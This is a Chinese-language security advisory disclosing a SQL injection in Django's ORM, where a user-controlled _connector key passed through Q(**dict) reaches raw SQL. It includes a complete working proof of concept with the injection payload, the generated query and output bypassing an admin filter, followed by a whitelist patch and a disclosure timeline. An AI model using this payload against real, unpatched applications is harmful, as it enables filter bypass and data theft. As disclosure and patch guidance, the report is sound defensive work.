漏洞摘要
Django ORM在Q对象的处理中存在一个关键的SQL注入漏洞。WhereNode.as_sql方法内部使用不安全的字符串格式化将查询连接符(如’AND’)注入到原始SQL查询中。当开发者使用字典解包(例如Q(**user_input))创建Q对象时,攻击者可通过_connector键控制此连接符值,从而在WHERE子句中注入任意SQL。这完全绕过了ORM的参数化安全防护,可能导致过滤器被绕过,并从查询的模型中完全泄露数据。
漏洞详情
漏洞的根本原因位于django/db/models/sql/where.py文件中的WhereNode.as_sql方法内。此方法负责将多个过滤条件连接在一起。代码使用不安全的字符串格式化来插入连接符:
1
2
|
# Simplified representation of the vulnerable code in WhereNode.as_sql
conn = ' %s ' % self.connector
|
该方法在将self.connector属性嵌入查询之前,未对其进行任何验证或清理。框架允许开发者在初始化Q对象时通过_connector参数指定此连接符。在具有复杂过滤功能的应用程序(例如那些带有搜索API的应用)中,一个常见的模式是接受一个过滤器字典并直接解包它。这种模式极易受到攻击:
1
2
3
4
|
# An example of a vulnerable application pattern
filter_dictionary = request.json.get('filters', {{}})
query = Q(**filter_dictionary) # VULNERABLE LINE
results = User.objects.filter(query)
|
如果攻击者控制了filter_dictionary的内容,他们就可以插入一个带有恶意SQL负载的_connector键。然后,该负载将被直接注入到查询结构中。
概念验证 (PoC)
首先创建一个新的Django项目和应用程序,并确保在settings.py中将该Web应用添加到已安装的应用列表中。
1
2
|
django-admin startproject sqli .
python manage.py startapp webapp
|
1
2
3
4
5
6
7
8
9
10
11
|
# sqli/settings.py
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'webapp', # <-- Add this
]
|
然后在webapp目录内创建一个management/commands文件夹,并在management和commands目录中各创建一个空的__init__.py文件。
在此之后,在management/commands目录中创建一个名为poc.py的文件,并添加以下代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
|
from django.core.management.base import BaseCommand
from django.db.models import Q
from webapp.models import User
from django.db import connection
def process_vulnerable_request(search_dict):
"""
This function simulates a VULNERABLE part of an application.
It takes a dictionary of filters (as if from a JSON API request)
and uses unpacking pattern without validating the keys.
"""
print("--> Entering vulnerable function: Q(**search_dict)")
# THE VULNERABLE LINE: Unpacking a user-controlled dictionary.
query = Q(**search_dict)
return User.objects.filter(query)
class Command(BaseCommand):
help = "Demonstrates a realistic SQLi PoC via Q object's **kwargs unpacking"
def handle(self, *args, **options):
# 1. SETUP
User.objects.all().delete()
User.objects.create(username="alice", is_admin=False)
User.objects.create(username="root", is_admin=True)
self.stdout.write("Sample users created: 'alice' (non-admin) and 'root' (admin)")
self.stdout.write("-" * 40)
# 2. THE MALICIOUS PAYLOAD
# This dictionary simulates a JSON payload sent by an attacker. It looks
# like a legitimate filter request, but it includes the malicious key.
malicious_user_payload = {
"is_admin": False,
"username": "nonexistent_user",
"_connector": ") OR 1=1 OR ("
}
self.stdout.write(f"Simulating malicious user payload:\n{malicious_user_payload}")
self.stdout.write("-" * 40)
# 3. EXECUTING THE VULNERABLE CODE
# We pass the attacker's dictionary to the vulnerable function.
queryset = process_vulnerable_request(malicious_user_payload)
self.stdout.write("-" * 40)
# 4. THE PROOF
compiler = queryset.query.get_compiler(using='default')
sql, params = compiler.as_sql()
self.stdout.write(self.style.SQL_KEYWORD("Generated SQL:"))
self.stdout.write(sql % tuple(f"'{p}'" for p in params))
self.stdout.write("-" * 40)
# 5. THE IMPACT
self.stdout.write("Query Results:")
results = list(queryset)
for user in results:
self.stdout.write(f" - Found user: {user}")
if any(user.is_admin for user in results):
self.stdout.write(self.style.SUCCESS("\n SUCCESS: The filter was bypassed via dictionary unpacking! The admin user was returned."))
else:
self.stdout.write(self.style.ERROR("\n- FAILED: The injection did not bypass the filter."))
|
然后修改models.py以添加一个示例用户模型。
1
2
3
4
5
6
7
8
9
10
|
# models.py
from django.db import models
class User(models.Model):
username = models.CharField(max_length=100)
is_admin = models.BooleanField(default=False)
def __str__(self):
return f"{self.username} (Admin: {self.is_admin})"
|
运行以下命令来迁移数据库并执行概念验证:
1
2
3
|
python manage.py makemigrations
python manage.py migrate
python manage.py poc
|
此代码的输出将突出显示该漏洞,因为它允许SQL注入并打印表中的用户。它还将显示最终查询以突出显示漏洞。预期输出示例如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
Sample users created: 'alice' (non-admin) and 'root' (admin)
----------------------------------------
Simulating malicious user payload:
{'is_admin': False, 'username': 'nonexistent_user', '_connector': ') OR 1=1 OR ('}
----------------------------------------
--> Entering vulnerable function: Q(**search_dict)
----------------------------------------
Generated SQL:
SELECT "webapp_user"."id", "webapp_user"."username", "webapp_user"."is_admin" FROM "webapp_user" WHERE (NOT "webapp_user"."is_admin" ) OR 1=1 OR ( "webapp_user"."username" = 'nonexistent_user')
----------------------------------------
Query Results:
- Found user: alice (Admin: False)
- Found user: root (Admin: True)
SUCCESS: The filter was bypassed via dictionary unpacking! The admin user was returned.
|
修复建议
根本原因在于对_connector字符串的信任。该漏洞可以通过在使用该字符串进行格式化之前,将连接符值与严格的白名单进行验证来修复。
建议的补丁 (django/db/models/sql/where.py):
1
2
3
4
5
6
7
8
9
10
11
12
|
# In WhereNode.as_sql method...
def as_sql(self, compiler, connection):
# Add this validation at the beginning of the method
if self.connector not in ('AND', 'OR'):
raise ValueError(
f"Invalid connector '{{self.connector}}'. Must be 'AND' or 'OR'."
)
# ... (rest of the method proceeds as normal)
conn = ' %s ' % self.connector
# ...
|
影响
此漏洞的影响非常严重。能够控制用于过滤模型的字典键的攻击者可以:
- 绕过访问控制:通过注入一个始终为真的条件(例如
OR 1=1),从查询表中检索任何和所有记录,从而绕过WHERE子句中的所有其他过滤器。
- 泄露敏感数据:攻击者可以从用户表中泄露所有用户(包括管理员)的数据。这适用于通过易受攻击的过滤器暴露的任何模型。
- 降低性能:复杂的注入SQL负载可能被用于通过使数据库过载来造成拒绝服务状况。
处理时间线
- 2025年9月12日:报告者
cyberstan向Django提交报告。
- 2025年9月17日:Django安全团队确认收到报告,并要求保密。
- 2025年9月26日:状态更新为"已分类"。
- 2025年10月14日:Django安全团队确认了该漏洞,并计划请求CVE。他们提供了修复补丁,并要求报告者测试。计划于11月5日发布包含修复的版本。
- 2025年10月14日:报告者
cyberstan确认补丁有效。
- 约6天前:Django安全团队将状态更新为"已解决",并确认漏洞已于11月5日随Django 5.2.8、5.1.14和4.2.26版本发布而修复。
- 约4天前:报告者请求披露,并获得同意。报告被公开。